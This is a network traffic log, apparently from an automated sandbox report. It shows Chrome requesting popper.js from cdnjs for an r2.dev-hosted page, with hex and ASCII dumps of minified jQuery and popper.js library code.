2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49714	104.17.25.14	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:19 UTC	649	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:19 UTC	922	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:10:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 868848 Expires: Fri, 19 Sep 2025 00:10:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CNVYucz1iWrrPlP3jvn4lm5Kw0SN5WPGRrCErQAWpL5ol5qAuMRwNWJO7t9JELaWSEWWnF8ugciSNzxDGYUpkdJ5ztBF7mhjPOS1vsXhUDsvVUBSVinHPFUlEmnCOMlLuA3IzZCd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ca7bfe25be28cb7-EWR
2024-09-29 00:10:19 UTC	447	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 3b 7d 76 61 72 20 69 3d 74 28 65 29 2c 72 3d 69 2e 6f 76 65 72 66 6c Data Ascii: Style(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overfl
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: guments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e['borde
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 28 64 29 3a 6f 3d 3d 3d 64 26 26 27 42 4f 44 59 27 21 3d 3d 64 2e 6e 6f Data Ascii: idth:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'BODY'!==d.no
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 3e 3d 6f 2e 63 6c 69 65 6e 74 57 69 64 74 68 Data Ascii: ight:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o.clientWidth
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 73 3a 7b 7d 2c 61 72 72 6f 77 53 74 79 6c 65 73 3a 7b 7d 2c 61 74 74 72 Data Ascii: ted, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{},attr
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 6e 28 70 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 74 2c 6f 2c 69 29 2c 69 Data Ascii: r.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(n(p.parentNode),t,o,i),i
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 73 74 61 72 74 27 3a 27 73 74 61 72 74 27 3d 3d 3d 65 3f 27 65 6e 64 27 Data Ascii: return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'start'===e?'end'
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 74 2e 6f 66 66 73 65 74 2c 6e 